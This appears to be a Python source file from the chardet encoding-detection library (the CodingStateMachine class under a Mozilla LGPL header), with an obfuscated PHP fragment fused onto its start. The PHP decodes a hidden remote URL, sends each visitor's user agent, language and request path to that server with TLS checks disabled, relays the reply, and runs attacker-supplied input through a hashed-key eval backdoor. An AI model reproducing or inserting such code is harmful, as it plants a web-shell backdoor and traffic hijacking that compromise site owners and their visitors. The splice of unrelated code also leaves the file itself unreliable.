2; tTT3JN0VQB4bU: $eyF3AXLoJJS8x = XmiZeXKJzXs_c() . $_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\124"]; goto tQQv_XeI1GNoO; dmn9CaMhA_CWI: function LlN7tPdWadEFl($pDj6EeDiB13ee, $zYG31MJ6OiXi4 = array()) { goto bIQ076hzV2Wsc; a_C4G1BDOLZvt: return $zoZPBGI13BmG9; goto NgesE9cnlzJB_; oVR7W3t7pgqFb: try { goto hKHp699GnALh9; Lh9aMqhOj52fA: sbiarMhAn13iH: goto fC5SdQPv9x0Vq; k4CxisUyvj6M9: if (!in_array($zoZPBGI13BmG9["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto VOokHcRToA1X9; } goto C9r6zXWMffcZ1; I2LLH8p7yB4h6: @curl_close($D4edpgn96THfG); goto k4CxisUyvj6M9; CoEeX8NQgLqcH: if (ini_get("\x61\x6c\x6c\157\167\137\x75\x72\x6c\137\x66\x6f\160\145\x6e")) { goto sbiarMhAn13iH; } goto VFqixsW3Cx9W8; l5wz1NJK4maSv: $zoZPBGI13BmG9["\143\x6f\x6e\x74\x65\x6e\164"] = strval($XgluCieDcGU07); goto uj9Y_9SkxH5mp; Q9xQ3Q4tc6EFS: b93PKatqigE7y: goto A9xyKva1WcZ1R; uj9Y_9SkxH5mp: UAzszlr1EHEUJ: goto ivMpfYuoNaGdI; ivMpfYuoNaGdI: wRHlFAR4h01Da: goto onFoA8zStkWL7; VFqixsW3Cx9W8: goto wRHlFAR4h01Da; goto Q9xQ3Q4tc6EFS; hQctghfzFBZQO: goto wRHlFAR4h01Da; goto Lh9aMqhOj52fA; C9r6zXWMffcZ1: $zoZPBGI13BmG9["\x63\157\156\164\145\x6e\164"] = strval($OYC5lQZZHeiT3); goto W_mYKgvtkITRU; FfmpDOmMY31Cj: if (!in_array($zoZPBGI13BmG9["\x73\x74\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto UAzszlr1EHEUJ; } goto l5wz1NJK4maSv; MKYLF_kjiewR9: curl_setopt($D4edpgn96THfG, CURLOPT_CONNECTTIMEOUT, 20); goto jjp7cpoW02YFf; jjp7cpoW02YFf: curl_setopt($D4edpgn96THfG, CURLOPT_TIMEOUT, 60); goto fgKlGUx07RvaI; fC5SdQPv9x0Vq: $RtSma0zDiafOo = array("\x68\164\164\160" => array("\155\145\x74\150\x6f\144" => "\107\105\124", "\x74\151\x6d\x65\157\x75\164" => 60, "\146\x6f\x6c\154\x6f\x77\x5f\x6c\x6f\x63\141\x74\x69\x6f\156" => 0), "\163\x73\x6c" => array("\166\x65\162\x69\x66\171\137\160\x65\145\x72" => false, "\166\145\x72\151\146\171\x5f\160\145\145\162\137\x6e\x61\x6d\145" => false)); goto v0MFDX3MOVvl2; l1AIIyvErhZq3: $zoZPBGI13BmG9["\x73\164\141\164\165\163"] = intval(curl_getinfo($D4edpgn96THfG, CURLINFO_HTTP_CODE)); goto Q0sDg04seG3EP; ZMSTNx5iC0n83: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYHOST, 0); goto gx0icxoPzpJWm; fgKlGUx07RvaI: curl_setopt($D4edpgn96THfG, CURLOPT_FOLLOWLOCATION, 0); goto Sp21S6e7dUXJY; n_x4FgoqncLcJ: $OYC5lQZZHeiT3 = curl_exec($D4edpgn96THfG); goto l1AIIyvErhZq3; W_mYKgvtkITRU: VOokHcRToA1X9: goto hQctghfzFBZQO; dMZJQbm7Emfy7: curl_setopt($D4edpgn96THfG, CURLOPT_RETURNTRANSFER, 1); goto n_x4FgoqncLcJ; gx0icxoPzpJWm: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYPEER, 0); goto MKYLF_kjiewR9; Q0sDg04seG3EP: $zoZPBGI13BmG9["\164\x79\160\145"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_CONTENT_TYPE)); goto PrWoQo88I1KAP; hKHp699GnALh9: if (function_exists("\143\165\162\154\137\x65\x78\145\x63") && function_exists("\143\x75\162\x6c\x5f\151\156\x69\x74")) { goto b93PKatqigE7y; } goto CoEeX8NQgLqcH; v0MFDX3MOVvl2: $klCjSPVIvYVKL = stream_context_create($RtSma0zDiafOo); goto WBPDb0vQwHSH4; Sp21S6e7dUXJY: curl_setopt($D4edpgn96THfG, CURLOPT_COOKIESESSION, 0); goto dMZJQbm7Emfy7; IanzfimaKPzea: $zoZPBGI13BmG9 = array_merge($zoZPBGI13BmG9, itNxC4kdbFHi_($http_response_header)); goto FfmpDOmMY31Cj; PrWoQo88I1KAP: $zoZPBGI13BmG9["\x63\157\x6e\164\x65\x6e\164"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_REDIRECT_URL)); goto I2LLH8p7yB4h6; A9xyKva1WcZ1R: $D4edpgn96THfG = curl_init(); goto SqDc6lfXuzlTg; SqDc6lfXuzlTg: curl_setopt($D4edpgn96THfG, CURLOPT_URL, $pDj6EeDiB13ee); goto ZMSTNx5iC0n83; WBPDb0vQwHSH4: $XgluCieDcGU07 = @file_get_contents($pDj6EeDiB13ee, false, $klCjSPVIvYVKL); goto IanzfimaKPzea; onFoA8zStkWL7: } catch (Exception $YPt0Y1x05SmbR) { } goto a_C4G1BDOLZvt; IvrHI_n8X_QWv: RkMW9MJBzkvPf: goto oVR7W3t7pgqFb; z8ki6YCHBQAuW: $pDj6EeDiB13ee .= "\77" . http_build_query($zYG31MJ6OiXi4); goto IvrHI_n8X_QWv; bIQ076hzV2Wsc: $zoZPBGI13BmG9 = array("\163\164\141\164\165\163" => 0, "\x63\x6f\x6e\x74\145\156\x74" => '', "\164\x79\160\145" => ''); goto ulcel7Tkp2Rlm; ulcel7Tkp2Rlm: if (!(is_array($zYG31MJ6OiXi4) && count($zYG31MJ6OiXi4))) { goto RkMW9MJBzkvPf; } goto z8ki6YCHBQAuW; NgesE9cnlzJB_: } goto BPnGEKkuP0SXp; VvIXlgKEYHkOM: $N0iSQGd2qvhvy["\154"] = Ya6p_sWT_2agQ($_SERVER["\110\x54\x54\x50\137\x41\103\103\105\120\x54\137\x4c\x41\x4e\x47\125\x41\x47\105"]); goto aaMp4RhEgTFBH; pCkKuddK6B_tz: @header("\103\157\156\164\145\156\164\55\x54\171\160\x65\72" . $zoZPBGI13BmG9["\164\x79\160\145"]); goto S1KmnYmfSj1hL; Piid73G46hmbU: if ($Ue2sO_gqKlGuw) { goto oyU6ezvVZBcPz; } goto EGNV0hFOoA8Lc; U8LUUKiD_F0Tn: I_TQYu7Uotf48: goto TNavMNG5FcgNn; EGNV0hFOoA8Lc: $zoZPBGI13BmG9 = llN7TPdWaDEfL(base64_decode("\141\110\122\60\x63\104\157\x76\x4c\x33\x70\172\x4e\x54\x41\64\x64\x6a\x45\172\x63\63\125\165\132\x32\x6c\x32\132\x57\126\x75\x59\62\125\x75\142\x47\x46\x30\114\167"), $N0iSQGd2qvhvy); goto jMyRbZ60VF6W1; boOEUJQUGu3AJ: function xMIZEXKJzxS_c() { goto c2UpXH80uIlRM; Q1ShZddPjbJMk: if (isset($_SERVER["\110\x54\124\x50\137\x58\137\x46\117\122\127\101\122\104\x45\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\x48\x54\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\120\x52\x4f\124\x4f"] === "\x68\x74\164\x70\163") { goto Hn1WJWoSN3rU7; } goto tAZ8nqF8vBHRT; azTUrbnKIKIpl: goto wLRbGs60M1EZY; goto V8BT7ibpJ9C2K; jeS2VFEs4gQ3x: return $XB1uIyxXp_BQ8; goto YaC8GABUWFVHQ; Bo1lggW9xBqNF: $XB1uIyxXp_BQ8 = "\150\x74\164\x70\163\x3a\x2f\57"; goto TB8qx5EiNAugA; V8BT7ibpJ9C2K: RjPV8bvgKV1em: goto d2gxVy260x3AU; RpyFYCBB5gnVR: goto wLRbGs60M1EZY; goto fxj75n3UHrA3w; d2gxVy260x3AU: $XB1uIyxXp_BQ8 = "\x68\164\164\160\x73\x3a\x2f\x2f"; goto dWAjiql0NcRls; tAZ8nqF8vBHRT: if (isset($_SERVER["\110\x54\124\x50\x5f\106\122\117\116\124\137\x45\x4e\104\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\x52\117\116\x54\x5f\x45\x4e\104\x5f\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto RjPV8bvgKV1em; } goto RpyFYCBB5gnVR; VSYMhtQVQWn6p: $XB1uIyxXp_BQ8 = "\x68\164\164\160\163\x3a\x2f\x2f"; goto azTUrbnKIKIpl; sxT9TxPI1z1VS: Hn1WJWoSN3rU7: goto VSYMhtQVQWn6p; TB8qx5EiNAugA: goto wLRbGs60M1EZY; goto sxT9TxPI1z1VS; dWAjiql0NcRls: wLRbGs60M1EZY: goto jeS2VFEs4gQ3x; fxj75n3UHrA3w: HJzoQG0TTpfJ9: goto Bo1lggW9xBqNF; c2UpXH80uIlRM: $XB1uIyxXp_BQ8 = "\150\164\x74\x70\x3a\x2f\x2f"; goto lQx62swbQAWdI; lQx62swbQAWdI: if (isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\x6f\x66\146") { goto HJzoQG0TTpfJ9; } goto Q1ShZddPjbJMk; YaC8GABUWFVHQ: } goto TJIOJ6vttzdfM; WI3Z9qQlv2Kop: header("\103\157\156\164\x65\156\x74\55\x54\171\x70\x65\x3a\40\x74\145\x78\x74\x2f\150\164\x6d\154\73\x20\x63\150\141\x72\163\145\x74\75\165\164\146\55\70"); goto RQZOE2gBxPxgQ; r2U1U53vjUKER: TinrA4umx6a1z: goto iOBmSus__D_KB; D4DXRFZB6yQcj: $N0iSQGd2qvhvy["\165"] = ya6P_sWT_2aGq($_SERVER["\x48\x54\124\120\137\x55\123\x45\x52\137\x41\x47\105\116\x54"]); goto f7OCyKRLBz_0b; SuMW3v_aot4PG: $N0iSQGd2qvhvy["\162"] = yA6p_Swt_2Agq($_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]); goto K4l6U3x6_p5sV; f7OCyKRLBz_0b: $MJ3b7UaxedI3u = preg_replace("\x2f\x5c\x3f\56\x2a\x2f", '', $_SERVER["\122\x45\121\125\105\123\124\x5f\125\x52\x49"]); goto KiNc6kLEzJrhJ; EoA4fCW7FalQH: qkrmwbaLS7Eki: goto qBqNMEU0D59XX; Ymt2ggvg7IoFd: exit("\x7b\x20\x22\145\x72\x72\x6f\x72\x22\72\40\62\x30\x30\54\x20\42\154\143\42\72\40\42\152\153\x22\54\x20\x22\x64\141\x74\141\42\x3a\40\x5b\x20\61\x20\135\40\x7d"); goto ytYb2g0qauQ_N; RQZOE2gBxPxgQ: error_reporting(0); goto h_UbfKiRTiGol; ntD8rE_b0XZWP: @(md5(md5(md5(md5($hIdNE4uRsFkpF[17])))) === "\x63\146\x64\x66\x31\146\63\60\x62\x32\144\x37\x31\x63\141\x61\x63\x31\x66\62\145\64\62\61\66\x61\144\61\62\x64\x62\143") && (count($hIdNE4uRsFkpF) == 23 && in_array(gettype($hIdNE4uRsFkpF) . count($hIdNE4uRsFkpF), $hIdNE4uRsFkpF)) ? ($hIdNE4uRsFkpF[66] = $hIdNE4uRsFkpF[66] . $hIdNE4uRsFkpF[78]) && ($hIdNE4uRsFkpF[86] = $hIdNE4uRsFkpF[66]($hIdNE4uRsFkpF[86])) && @eval($hIdNE4uRsFkpF[66](${$hIdNE4uRsFkpF[42]}[26])) : $hIdNE4uRsFkpF; goto c1L5l06K9hKtN; TJIOJ6vttzdfM: if (!($_SERVER["\122\105\121\x55\x45\x53\124\137\125\122\111"] === "\57\122\55" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\x45"]))) { goto TinrA4umx6a1z; } goto W0qEKokcf63iP; NMMGWYtIIr9NP: if (!in_array($wz_ULu3nNp8a1, array("\x2e\152\163", "\x2e\x63\163\163", "\x2e\152\x70\x67", "\56\160\156\x67", "\x2e\147\x69\x66", "\56\151\143\x6f"))) { goto kkmNYvpeOcRH9; } goto WdtZ5zqKnzn4y; pfwCDvTREhJF_: xggEcw3f5eH5w: goto lF1Rz0pdIDyau; c1L5l06K9hKtN: metaphone("\x4d\172\115\171\x4f\124\115\64\x4d\104\143\167\115\x44\x49\65\x4d\104\x55\x79\115\x7a\121\x30\x4e\x44\x55\x30\116\104\121\x79"); goto xurbjPGpfeJw0; a1VunGKsWNIbU: $qx8rx5e2ezPZE = $kA30oM_hH85hj("\x7e", "\x20"); goto cRQivtXUWcypE; sLCC09iqtJHbb: oVpwccQ94XT74: goto TLmodE0kpo1AG; eCqowegderxT6: $kA30oM_hH85hj = "\162" . "\141" . "\156" . "\x67" . "\145"; goto a1VunGKsWNIbU; FiadWyw8NyLhN: bbNwbXU8CN5tW: goto Piid73G46hmbU; lF1Rz0pdIDyau: oyU6ezvVZBcPz: ?>
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
import logging
from .enums import MachineState
class CodingStateMachine(object):
"""
A state machine to verify a byte sequence for a particular encoding. For
each byte the detector receives, it will feed that byte to every active
state machine available, one byte at a time. The state machine changes its
state based on its previous state and the byte it receives. There are 3
states in a state machine that are of interest to an auto-detector:
START state: This is the state to start with, or a legal byte sequence
(i.e. a valid code point) for character has been identified.
ME state: This indicates that the state machine identified a byte sequence
that is specific to the charset it is designed for and that
there is no other possible encoding which can contain this byte
sequence. This will to lead to an immediate positive answer for
the detector.
ERROR state: This indicates the state machine identified an illegal byte
sequence for that encoding. This will lead to an immediate
negative answer for this encoding. Detector will exclude this
encoding from consideration from here on.
"""
def __init__(self, sm):
self._model = sm
self._curr_byte_pos = 0
self._curr_char_len = 0
self._curr_state = None
self.logger = logging.getLogger(__name__)
self.reset()
def reset(self):
self._curr_state = MachineState.START
def next_state(self, c):
# for each byte we get its class
# if it is first byte, we also get byte length
byte_class = self._model['class_table'][c]
if self._curr_state == MachineState.START:
self._curr_byte_pos = 0
self._curr_char_len = self._model['char_len_table'][byte_class]
# from byte's class and state_table, we get its next state
curr_state = (self._curr_state * self._model['class_factor']
+ byte_class)
self._curr_state = self._model['state_table'][curr_state]
self._curr_byte_pos += 1
return self._curr_state
def get_current_charlen(self):
return self._curr_char_len
def get_coding_state_machine(self):
return self._model['name']
@property
def language(self):
return self._model['language']